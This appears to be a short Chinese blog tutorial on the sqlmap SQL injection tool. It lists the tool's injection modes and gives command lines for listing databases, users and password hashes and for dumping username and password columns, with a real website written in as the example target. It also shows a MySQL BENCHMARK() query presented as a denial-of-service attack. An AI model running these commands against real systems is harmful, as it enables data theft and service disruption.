SQL注入工具之SQLMAP

June 15, 2018 工具 访问: 37 次

sql注入的一把梭

sqlmap

介绍

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。在我看来,它是一个SQL注入的神器。

当给sqlmap这么一个url的时候,它会:

1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

用法一 (一般注入)

测试能否注入

sqlmap.py -u "http://www.baidu.com"

列出当前使用的数据库

sqlmap.py -u "http://www.baidu.com" --current -db

列出所有的数据库名字

sqlmap.py -u "http://www.baidu.com" --dbs

列出当前的用户

sqlmap.py -u "http://www.baidu.com" --current -user

列出所有的用户

sqlmap.py -u "http://www.baidu.com" --users

列出数据库的账户与密码

sqlmap.py -u "http://www.baidu.com" --passwords

列出指定数据库中的所有的表

sqlmap.py -u "http://www.baidu.com" -D db_name --tables

列出指定数据库中的指定的表中的所有字段

sqlmap.py -u "http://www.baidu.com" -D db_name -T table_name --columns

列出指定数据库中的指定的表中的指定的列中的内容

sqlmap.py -u "http://www.baidu.com" -D db_name -T table_name -C "id,username,password" --dump
--start:指定开始的行 --stop:指定结束的行

用法二(用于mysql中DDOS攻击)

获取一个Shell

sqlmap.py -u "http://www.baidu.com" --sql -shell

输入执行语句完成DDOS攻击

MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数。该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

用法三(POST注入)

首先用burp suite进行抓包,将抓到的包保存到本地

sqlmap.py -r "d:\1.txt" --dbs

后续的步骤同上

添加新评论